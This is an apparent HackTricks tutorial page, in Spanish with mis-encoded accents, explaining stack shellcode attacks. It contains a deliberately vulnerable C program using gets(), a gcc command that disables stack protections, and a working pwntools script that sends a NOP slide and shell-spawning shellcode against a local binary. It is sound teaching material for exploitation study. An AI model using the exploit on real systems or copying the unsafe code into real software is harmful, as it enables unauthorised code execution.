Stack Shellcode

Reading time: 5 minutes

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Informaci贸n B谩sica

Stack shellcode es una t茅cnica utilizada en binary exploitation donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el Instruction Pointer (IP) o Extended Instruction Pointer (EIP) para apuntar a la ubicaci贸n de este shellcode, lo que provoca su ejecuci贸n. Este es un m茅todo cl谩sico utilizado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aqu铆 hay un desglose del proceso, incluyendo un ejemplo simple en C y c贸mo podr铆as escribir un exploit correspondiente usando Python con pwntools.

Ejemplo en C: Un Programa Vulnerable

Comencemos con un ejemplo simple de un programa C vulnerable:

c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Este programa es vulnerable a un desbordamiento de b煤fer debido al uso de la funci贸n gets().

Compilaci贸n

Para compilar este programa mientras desactivas varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando:

sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Desactiva la protecci贸n de pila.
  • -z execstack: Hace que la pila sea ejecutable, lo cual es necesario para ejecutar shellcode almacenado en la pila.
  • -no-pie: Desactiva el ejecutable independiente de posici贸n, facilitando la predicci贸n de la direcci贸n de memoria donde se ubicar谩 nuestro shellcode.
  • -m32: Compila el programa como un ejecutable de 32 bits, a menudo utilizado por simplicidad en el desarrollo de exploits.

Python Exploit usando Pwntools

Aqu铆 tienes c贸mo podr铆as escribir un exploit en Python usando pwntools para realizar un ataque ret2shellcode:

python
from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Este script construye una carga 煤til que consiste en un NOP slide, el shellcode, y luego sobrescribe el EIP con la direcci贸n que apunta al NOP slide, asegurando que el shellcode se ejecute.

El NOP slide (asm('nop')) se utiliza para aumentar la probabilidad de que la ejecuci贸n "deslice" hacia nuestro shellcode independientemente de la direcci贸n exacta. Ajusta el argumento p32() a la direcci贸n de inicio de tu buffer m谩s un desplazamiento para aterrizar en el NOP slide.

Protecciones

  • ASLR debe estar deshabilitado para que la direcci贸n sea confiable a trav茅s de ejecuciones o la direcci贸n donde se almacenar谩 la funci贸n no siempre ser谩 la misma y necesitar铆as alguna filtraci贸n para averiguar d贸nde se carga la funci贸n win.
  • Stack Canaries tambi茅n deben estar deshabilitados o la direcci贸n de retorno EIP comprometida nunca ser谩 seguida.
  • La protecci贸n stack NX impedir铆a la ejecuci贸n del shellcode dentro de la pila porque esa regi贸n no ser谩 ejecutable.

Otros Ejemplos y Referencias

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks